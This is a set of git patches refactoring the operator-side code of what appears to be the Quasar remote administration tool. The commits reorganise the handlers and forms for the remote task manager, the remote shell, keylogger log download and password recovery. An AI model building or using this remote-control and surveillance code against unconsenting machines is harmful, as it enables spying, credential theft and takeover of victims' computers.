GetPasswordsRespons client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); } - public static void HandleGetProcessesResponse(Client client, GetProcessesResponse packet) - { - if (client.Value == null || client.Value.FrmTm == null) - return; - - client.Value.FrmTm.ClearListviewItems(); - - // None of the arrays containing the process' information can be null. - // The must also be the exact same length because each entry in the three - // different arrays represents one process. - if (packet.Processes == null || packet.Ids == null || packet.Titles == null || - packet.Processes.Length != packet.Ids.Length || packet.Processes.Length != packet.Titles.Length) - return; - - new Thread(() => - { - if (client.Value != null && client.Value.FrmTm != null) - client.Value.FrmTm.SetProcessesCount(packet.Processes.Length); - - for (int i = 0; i < packet.Processes.Length; i++) - { - if (packet.Ids[i] == 0 || packet.Processes[i] == "System.exe") - continue; - - if (client.Value == null || client.Value.FrmTm == null) - break; - - client.Value.FrmTm.AddProcessToListview(packet.Processes[i], packet.Ids[i], packet.Titles[i]); - } - }).Start(); - } - public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet) { if (client.Value == null || client.Value.FrmKl == null) diff --git a/Server/Core/Commands/TaskManagerHandler.cs b/Server/Core/Commands/TaskManagerHandler.cs new file mode 100644 index 000000000..ba6c6f04d --- /dev/null +++ b/Server/Core/Commands/TaskManagerHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class TaskManagerHandler : MessageProcessorBase + { + /// + /// The client which is associated with this task manager handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TaskManagerHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetProcessesResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(_client); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcessesResponse proc: + Execute(sender, proc); + break; + } + } + + /// + /// Refreshes the current started processes. + /// + public void RefreshProcesses() + { + _client.Send(new GetProcesses()); + } + + /// + /// Starts a new process given an application name. + /// + /// The name or path of the application to start. + public void StartProcess(string applicationName) + { + _client.Send(new DoProcessStart {ApplicationName = applicationName}); + } + + /// + /// Ends a started process given the process id. + /// + /// The process id to end. + public void EndProcess(int pid) + { + _client.Send(new DoProcessKill {Pid = pid}); + } + + private void Execute(ISender client, GetProcessesResponse message) + { + OnReport(message.Processes); + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Commands/TcpConnectionsHandler.cs b/Server/Core/Commands/TcpConnectionsHandler.cs index 84799889a..55dfbaa44 100644 --- a/Server/Core/Commands/TcpConnectionsHandler.cs +++ b/Server/Core/Commands/TcpConnectionsHandler.cs @@ -8,7 +8,7 @@ namespace xServer.Core.Commands public class TcpConnectionsHandler : MessageProcessorBase { /// - /// The client which is associated with this system information handler. + /// The client which is associated with this tcp connections handler. /// private readonly Client _client; diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index d0666ab30..93cc5883e 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -21,11 +21,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleSetUserStatus(client, (SetUserStatus)packet); } - else if (type == typeof(GetProcessesResponse)) - { - CommandHandler.HandleGetProcessesResponse(client, - (GetProcessesResponse)packet); - } else if (type == typeof(GetWebcamsResponse)) { CommandHandler.HandleGetWebcamsResponse(client, (GetWebcamsResponse)packet); diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index d8cde069e..19d55d66f 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -1,6 +1,5 @@ using System; using System.Windows.Forms; -using xServer.Core.ReverseProxy; using xServer.Forms; namespace xServer.Core.Networking @@ -24,7 +23,6 @@ public class UserState : IDisposable public string DownloadDirectory { get; set; } public FrmRemoteWebcam FrmWebcam { get; set; } - public FrmTaskManager FrmTm { get; set; } public FrmRegistryEditor FrmRe { get; set; } public FrmRemoteShell FrmRs { get; set; } public FrmKeylogger FrmKl { get; set; } @@ -43,8 +41,6 @@ protected virtual void Dispose(bool disposing) { if (FrmWebcam != null) FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); - if (FrmTm != null) - FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); }); if (FrmRe != null) FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); if (FrmRs != null) diff --git a/Server/Forms/FrmConnections.cs b/Server/Forms/FrmConnections.cs index b9b46238b..d1ae37e81 100644 --- a/Server/Forms/FrmConnections.cs +++ b/Server/Forms/FrmConnections.cs @@ -53,7 +53,7 @@ public static FrmConnections CreateNewOrGetExisting(Client client) /// /// Initializes a new instance of the class using the given client. /// - /// The client used for the remote desktop form. + /// The client used for the connections manager form. public FrmConnections(Client client) { _connectClient = client; diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index c0fed6bfb..87e54c988 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -3,7 +3,6 @@ using Quasar.Common.Models; using System; using System.Collections.Generic; -using System.Diagnostics; using System.IO; using System.Windows.Forms; using xServer.Controls; @@ -11,6 +10,7 @@ using xServer.Core.Helper; using xServer.Core.Networking; using xServer.Models; +using Process = System.Diagnostics.Process; namespace xServer.Forms { diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 12eef62c8..089722d0f 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -568,13 +568,9 @@ private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmTm != null) - { - c.Value.FrmTm.Focus(); - return; - } - FrmTaskManager frmTM = new FrmTaskManager(c); - frmTM.Show(); + FrmTaskManager frmTm = FrmTaskManager.CreateNewOrGetExisting(c); + frmTm.Show(); + frmTm.Focus(); } } diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index 88db17e0d..1af95c064 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -66,6 +66,7 @@ private void UnregisterMessageHandler() /// /// The client which disconnected. /// True if the client connected, false if disconnected + /// TODO: Handle disconnected clients private void ClientDisconnected(Client client, bool connected) { if (!connected) diff --git a/Server/Forms/FrmTaskManager.cs b/Server/Forms/FrmTaskManager.cs index 9b0553dbb..7cc8e781d 100644 --- a/Server/Forms/FrmTaskManager.cs +++ b/Server/Forms/FrmTaskManager.cs @@ -1,7 +1,10 @@ -using System; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; using System.Windows.Forms; -using Quasar.Common.Messages; using xServer.Controls; +using xServer.Core.Commands; using xServer.Core.Helper; using xServer.Core.Networking; @@ -9,105 +12,132 @@ namespace xServer.Forms { public partial class FrmTaskManager : Form { + /// + /// The client which can be used for the task manager. + /// private readonly Client _connectClient; - public FrmTaskManager(Client c) - { - _connectClient = c; - _connectClient.Value.FrmTm = this; + /// + /// The message handler for handling the communication with the client. + /// + private readonly TaskManagerHandler _taskManagerHandler; - InitializeComponent(); - } + /// + /// Holds the opened task manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); - private void FrmTaskManager_Load(object sender, EventArgs e) + /// + /// Creates a new task manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the task manager form. + /// + /// Returns a new task manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmTaskManager CreateNewOrGetExisting(Client client) { - if (_connectClient != null) + if (OpenedForms.ContainsKey(client)) { - this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); - _connectClient.Send(new GetProcesses()); + return OpenedForms[client]; } + FrmTaskManager f = new FrmTaskManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; } - private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the task manager form. + public FrmTaskManager(Client client) + { + _connectClient = client; + _taskManagerHandler = new TaskManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the task manager message handler for client communication. + /// + private void RegisterMessageHandler() { - if (_connectClient.Value != null) - _connectClient.Value.FrmTm = null; + _connectClient.ClientState += ClientDisconnected; + _taskManagerHandler.ProgressChanged += TasksChanged; + MessageHandler.Register(_taskManagerHandler); } - #region "ContextMenuStrip" + /// + /// Unregisters the task manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProgressChanged -= TasksChanged; + _connectClient.ClientState -= ClientDisconnected; + } - private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) { - if (_connectClient != null) + if (!connected) { - foreach (ListViewItem lvi in lstTasks.SelectedItems) - { - _connectClient.Send(new DoProcessKill {Pid = int.Parse(lvi.SubItems[1].Text)}); - } + this.Invoke((MethodInvoker)this.Close); } } - private void startProcessToolStripMenuItem_Click(object sender, EventArgs e) + private void TasksChanged(object sender, Process[] processes) { - string processname = string.Empty; - if (InputBox.Show("Processname", "Enter Processname:", ref processname) == DialogResult.OK) + lstTasks.Items.Clear(); + + foreach (var process in processes) { - _connectClient?.Send(new DoProcessStart {ApplicationName = processname}); + ListViewItem lvi = + new ListViewItem(new[] {process.Name, process.Id.ToString(), process.MainWindowTitle}); + lstTasks.Items.Add(lvi); } + + processesToolStripStatusLabel.Text = $"Processes: {processes.Length}"; } - private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + private void FrmTaskManager_Load(object sender, EventArgs e) { - _connectClient?.Send(new GetProcesses()); + this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); + _taskManagerHandler.RefreshProcesses(); } - #endregion + private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _taskManagerHandler.Dispose(); + } - public void ClearListviewItems() + private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) { - try - { - lstTasks.Invoke((MethodInvoker)delegate - { - lstTasks.Items.Clear(); - }); - } - catch (InvalidOperationException) + foreach (ListViewItem lvi in lstTasks.SelectedItems) { + _taskManagerHandler.EndProcess(int.Parse(lvi.SubItems[1].Text)); } } - public void AddProcessToListview(string processName, int pid, string windowTitle) + private void startProcessToolStripMenuItem_Click(object sender, EventArgs e) { - try - { - ListViewItem lvi = new ListViewItem(new string[] - { - processName, pid.ToString(), windowTitle - }); - - lstTasks.Invoke((MethodInvoker)delegate - { - lstTasks.Items.Add(lvi); - }); - } - catch (InvalidOperationException) + string processName = string.Empty; + if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK) { + _taskManagerHandler.StartProcess(processName); } } - public void SetProcessesCount(int processesCount) + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { - try - { - statusStrip.Invoke((MethodInvoker) delegate - { - processesToolStripStatusLabel.Text = "Processes: " + processesCount.ToString(); - }); - } - catch (InvalidOperationException) - { - } + _taskManagerHandler.RefreshProcesses(); } } } \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index b0d4a1c3a..e84115d53 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -118,6 +118,7 @@ + From 9bc96e0443f2088c3104056bbddd8482c88f560b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 19 Sep 2018 16:44:21 +0200 Subject: [PATCH 126/229] Refactor Remote Shell --- Server/Core/Commands/MiscHandler.cs | 20 --- Server/Core/Commands/RemoteDesktopHandler.cs | 4 +- Server/Core/Commands/RemoteShellHandler.cs | 97 ++++++++++++ Server/Core/Networking/PacketHandler.cs | 6 - Server/Core/Networking/UserState.cs | 3 - Server/Forms/FrmFileManager.cs | 15 +- Server/Forms/FrmMain.cs | 10 +- Server/Forms/FrmRemoteShell.cs | 157 +++++++++++++------ Server/Server.csproj | 2 +- 9 files changed, 213 insertions(+), 101 deletions(-) delete mode 100644 Server/Core/Commands/MiscHandler.cs create mode 100644 Server/Core/Commands/RemoteShellHandler.cs diff --git a/Server/Core/Commands/MiscHandler.cs b/Server/Core/Commands/MiscHandler.cs deleted file mode 100644 index 350a8daff..000000000 --- a/Server/Core/Commands/MiscHandler.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Quasar.Common.Messages; -using xServer.Core.Networking; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ - public static partial class CommandHandler - { - public static void HandleDoShellExecuteResponse(Client client, DoShellExecuteResponse packet) - { - if (client.Value == null || client.Value.FrmRs == null || string.IsNullOrEmpty(packet.Output)) - return; - - if (packet.IsError) - client.Value.FrmRs.PrintError(packet.Output); - else - client.Value.FrmRs.PrintMessage(packet.Output); - } - } -} \ No newline at end of file diff --git a/Server/Core/Commands/RemoteDesktopHandler.cs b/Server/Core/Commands/RemoteDesktopHandler.cs index 229157b89..93e9bde0f 100644 --- a/Server/Core/Commands/RemoteDesktopHandler.cs +++ b/Server/Core/Commands/RemoteDesktopHandler.cs @@ -73,9 +73,7 @@ public Size LocalResolution /// /// Reports changed displays. /// - /// - /// All currently available displays. - /// + /// All currently available displays. private void OnDisplaysChanged(int value) { SynchronizationContext.Post(val => diff --git a/Server/Core/Commands/RemoteShellHandler.cs b/Server/Core/Commands/RemoteShellHandler.cs new file mode 100644 index 000000000..fd7070553 --- /dev/null +++ b/Server/Core/Commands/RemoteShellHandler.cs @@ -0,0 +1,97 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class RemoteShellHandler : MessageProcessorBase + { + /// + /// The client which is associated with this remote shell handler. + /// + private readonly Client _client; + + /// + /// Represents the method that will command errors. + /// + /// The message processor which raised the event. + /// The error message. + public delegate void CommandErrorEventHandler(object sender, string errorMessage); + + /// + /// Raised when a command writes to stderr. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event CommandErrorEventHandler CommandError; + + /// + /// Reports a command error. + /// + /// The error message. + private void OnCommandError(string errorMessage) + { + SynchronizationContext.Post(val => + { + var handler = CommandError; + handler?.Invoke(this, (string)val); + }, errorMessage); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is DoShellExecuteResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecuteResponse resp: + Execute(sender, resp); + break; + } + } + + /// + /// Sends a command to execute in the remote shell of the client. + /// + /// The command to execute. + public void SendCommand(string command) + { + _client.Send(new DoShellExecute {Command = command}); + } + + private void Execute(ISender client, DoShellExecuteResponse message) + { + if (message.IsError) + OnCommandError(message.Output); + else + OnReport(message.Output); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + if (_client.Connected) + { + SendCommand("exit"); + } + } + } + } +} diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index 93cc5883e..ab9fb229c 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -1,6 +1,5 @@ using Quasar.Common.Messages; using xServer.Core.Commands; -using xServer.Core.ReverseProxy; namespace xServer.Core.Networking { @@ -29,11 +28,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetWebcamResponse(client, (GetWebcamResponse)packet); } - else if (type == typeof(DoShellExecuteResponse)) - { - CommandHandler.HandleDoShellExecuteResponse(client, - (DoShellExecuteResponse)packet); - } else if (type == typeof(GetKeyloggerLogsResponse)) { CommandHandler.HandleGetKeyloggerLogsResponse(client, (GetKeyloggerLogsResponse)packet); diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 19d55d66f..f1299bfc8 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -24,7 +24,6 @@ public class UserState : IDisposable public FrmRemoteWebcam FrmWebcam { get; set; } public FrmRegistryEditor FrmRe { get; set; } - public FrmRemoteShell FrmRs { get; set; } public FrmKeylogger FrmKl { get; set; } public FrmPasswordRecovery FrmPass { get; set; } @@ -43,8 +42,6 @@ protected virtual void Dispose(bool disposing) FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); if (FrmRe != null) FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); - if (FrmRs != null) - FrmRs.Invoke((MethodInvoker)delegate { FrmRs.Close(); }); if (FrmKl != null) FrmKl.Invoke((MethodInvoker)delegate { FrmKl.Close(); }); if (FrmPass != null) diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index 87e54c988..2d78660af 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -422,17 +422,10 @@ private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) } } - if (_connectClient.Value.FrmRs != null) - { - _connectClient.Send(new DoShellExecute {Command = $"cd \"{path}\""}); - _connectClient.Value.FrmRs.Focus(); - } - else - { - FrmRemoteShell frmRS = new FrmRemoteShell(_connectClient); - frmRS.Show(); - _connectClient.Send(new DoShellExecute {Command = $"cd \"{path}\""}); - } + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient); + frmRs.Show(); + frmRs.Focus(); + frmRs.RemoteShellHandler.SendCommand($"cd \"{path}\""); } private void btnOpenDLFolder_Click(object sender, EventArgs e) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 089722d0f..ca055c29b 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -578,13 +578,9 @@ private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmRs != null) - { - c.Value.FrmRs.Focus(); - return; - } - FrmRemoteShell frmRS = new FrmRemoteShell(c); - frmRS.Show(); + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(c); + frmRs.Show(); + frmRs.Focus(); } } diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs index 7f1d681f4..e619e46b1 100644 --- a/Server/Forms/FrmRemoteShell.cs +++ b/Server/Forms/FrmRemoteShell.cs @@ -1,45 +1,132 @@ -using System; -using System.Windows.Forms; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; using System.Drawing; -using Quasar.Common.Messages; +using System.Windows.Forms; +using xServer.Core.Commands; using xServer.Core.Helper; using xServer.Core.Networking; namespace xServer.Forms { - public interface IRemoteShell - { - void PrintMessage(string message); - void PrintError(string errorMessage); - } - - public partial class FrmRemoteShell : Form, IRemoteShell + public partial class FrmRemoteShell : Form { + /// + /// The client which can be used for the remote shell. + /// private readonly Client _connectClient; - public FrmRemoteShell(Client c) + /// + /// The message handler for handling the communication with the client. + /// + public readonly RemoteShellHandler RemoteShellHandler; + + /// + /// Holds the opened remote shell form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote shell form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote shell form. + /// + /// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteShell CreateNewOrGetExisting(Client client) { - _connectClient = c; - _connectClient.Value.FrmRs = this; + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteShell f = new FrmRemoteShell(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote shell form. + public FrmRemoteShell(Client client) + { + _connectClient = client; + RemoteShellHandler = new RemoteShellHandler(client); + + RegisterMessageHandler(); InitializeComponent(); txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); } + /// + /// Registers the remote shell message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + RemoteShellHandler.ProgressChanged += CommandOutput; + RemoteShellHandler.CommandError += CommandError; + MessageHandler.Register(RemoteShellHandler); + } + + /// + /// Unregisters the remote shell message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(RemoteShellHandler); + RemoteShellHandler.ProgressChanged -= CommandOutput; + RemoteShellHandler.CommandError -= CommandError; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever the remote shell writes to stdout. + /// + /// The message processor which raised the event. + /// The output to write. + private void CommandOutput(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.WhiteSmoke; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever the remote shell writes to stderr. + /// + /// The message processor which raised the event. + /// The error output to write. + private void CommandError(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.Red; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + private void FrmRemoteShell_Load(object sender, EventArgs e) { this.DoubleBuffered = true; - - if (_connectClient != null) - this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); + this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); } private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) { - _connectClient.Send(new DoShellExecute {Command = "exit"}); - if (_connectClient.Value != null) - _connectClient.Value.FrmRs = null; + UnregisterMessageHandler(); + RemoteShellHandler.Dispose(); } private void txtConsoleOutput_TextChanged(object sender, EventArgs e) @@ -74,7 +161,7 @@ private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e) txtConsoleOutput.Text = string.Empty; break; default: - _connectClient.Send(new DoShellExecute {Command = input}); + RemoteShellHandler.SendCommand(input); break; } } @@ -94,35 +181,5 @@ private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) txtConsoleInput.ScrollToCaret(); } } - - public void PrintMessage(string message) - { - try - { - txtConsoleOutput.Invoke((MethodInvoker)delegate - { - txtConsoleOutput.SelectionColor = Color.WhiteSmoke; - txtConsoleOutput.AppendText(message); - }); - } - catch (InvalidOperationException) - { - } - } - - public void PrintError(string errorMessage) - { - try - { - txtConsoleOutput.Invoke((MethodInvoker)delegate - { - txtConsoleOutput.SelectionColor = Color.Red; - txtConsoleOutput.AppendText(errorMessage); - }); - } - catch (InvalidOperationException) - { - } - } } } \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index e84115d53..d22fb763f 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,6 +115,7 @@ + @@ -140,7 +141,6 @@ - From b58eccc18fb85d2ea77b935aee0c01f9a967c4cb Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 19 Sep 2018 17:36:30 +0200 Subject: [PATCH 127/229] Refactor Logger --- Server/Core/Commands/KeyloggerHandler.cs | 103 ++++++++++++ Server/Core/Commands/SurveillanceHandler.cs | 67 -------- Server/Core/Networking/PacketHandler.cs | 4 - Server/Core/Networking/UserState.cs | 3 - Server/Forms/FrmKeylogger.Designer.cs | 16 +- Server/Forms/FrmKeylogger.cs | 167 ++++++++++++++------ Server/Forms/FrmMain.cs | 10 +- Server/Server.csproj | 1 + 8 files changed, 236 insertions(+), 135 deletions(-) create mode 100644 Server/Core/Commands/KeyloggerHandler.cs diff --git a/Server/Core/Commands/KeyloggerHandler.cs b/Server/Core/Commands/KeyloggerHandler.cs new file mode 100644 index 000000000..c07640bb9 --- /dev/null +++ b/Server/Core/Commands/KeyloggerHandler.cs @@ -0,0 +1,103 @@ +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System.IO; +using xServer.Core.Helper; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class KeyloggerHandler : MessageProcessorBase + { + /// + /// The client which is associated with this keylogger handler. + /// + private readonly Client _client; + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public KeyloggerHandler(Client client) : base(true) + { + _client = client; + _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); + } + + /// + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsResponse logs: + Execute(sender, logs); + break; + } + } + + /// + /// Retrieves the keylogger logs and begins downloading them. + /// + public void RetrieveLogs() + { + _client.Send(new GetKeyloggerLogs()); + } + + private void Execute(ISender client, GetKeyloggerLogsResponse message) + { + if (message.FileCount == 0) + { + OnReport("Ready"); + return; + } + + // don't escape from download directory + if (FileHelper.CheckPathForIllegalChars(message.Filename)) + { + // disconnect malicious client + client.Disconnect(); + return; + } + + if (!Directory.Exists(_baseDownloadPath)) + Directory.CreateDirectory(_baseDownloadPath); + + string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html"); + + FileSplit destFile = new FileSplit(downloadPath); + + destFile.AppendBlock(message.Block, message.CurrentBlock); + + if (message.CurrentBlock + 1 == message.MaxBlocks) + { + try + { + File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath)); + } + catch + { + } + + if (message.Index == message.FileCount) + { + OnReport("Ready"); + } + } + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index bf7675e48..0ef30c54d 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -40,73 +40,6 @@ public static void HandleGetPasswordsResponse(Client client, GetPasswordsRespons client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); } - public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet) - { - if (client.Value == null || client.Value.FrmKl == null) - return; - - if (packet.FileCount == 0) - { - client.Value.FrmKl.SetGetLogsEnabled(true); - return; - } - - if (string.IsNullOrEmpty(packet.Filename)) - return; - - // don't escape from download directory - if (FileHelper.CheckPathForIllegalChars(packet.Filename)) - { - // disconnect malicious client - client.Disconnect(); - return; - } - - string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); - - if (!Directory.Exists(downloadPath)) - Directory.CreateDirectory(downloadPath); - - downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); - - FileSplit destFile = new FileSplit(downloadPath); - - destFile.AppendBlock(packet.Block, packet.CurrentBlock); - - if ((packet.CurrentBlock + 1) == packet.MaxBlocks) - { - try - { - File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath)); - } - catch - { - } - - if (packet.Index == packet.FileCount) - { - FileInfo[] iFiles = - new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); - - if (iFiles.Length == 0) - return; - - foreach (FileInfo file in iFiles) - { - if (client.Value == null || client.Value.FrmKl == null) - break; - - client.Value.FrmKl.AddLogToListview(file.Name); - } - - if (client.Value == null || client.Value.FrmKl == null) - return; - - client.Value.FrmKl.SetGetLogsEnabled(true); - } - } - } - public static void HandleGetWebcamsResponse(Client client, GetWebcamsResponse packet) { if (client.Value == null || client.Value.FrmWebcam == null) diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index ab9fb229c..f6ca1b128 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -28,10 +28,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetWebcamResponse(client, (GetWebcamResponse)packet); } - else if (type == typeof(GetKeyloggerLogsResponse)) - { - CommandHandler.HandleGetKeyloggerLogsResponse(client, (GetKeyloggerLogsResponse)packet); - } else if (type == typeof(GetRegistryKeysResponse)) { CommandHandler.HandleLoadRegistryKey((GetRegistryKeysResponse)packet, client); diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index f1299bfc8..8a1b9d089 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -24,7 +24,6 @@ public class UserState : IDisposable public FrmRemoteWebcam FrmWebcam { get; set; } public FrmRegistryEditor FrmRe { get; set; } - public FrmKeylogger FrmKl { get; set; } public FrmPasswordRecovery FrmPass { get; set; } public void Dispose() @@ -42,8 +41,6 @@ protected virtual void Dispose(bool disposing) FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); if (FrmRe != null) FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); - if (FrmKl != null) - FrmKl.Invoke((MethodInvoker)delegate { FrmKl.Close(); }); if (FrmPass != null) FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); } diff --git a/Server/Forms/FrmKeylogger.Designer.cs b/Server/Forms/FrmKeylogger.Designer.cs index ee54c9278..ce854a2d6 100644 --- a/Server/Forms/FrmKeylogger.Designer.cs +++ b/Server/Forms/FrmKeylogger.Designer.cs @@ -34,6 +34,8 @@ private void InitializeComponent() this.statusStrip = new System.Windows.Forms.StatusStrip(); 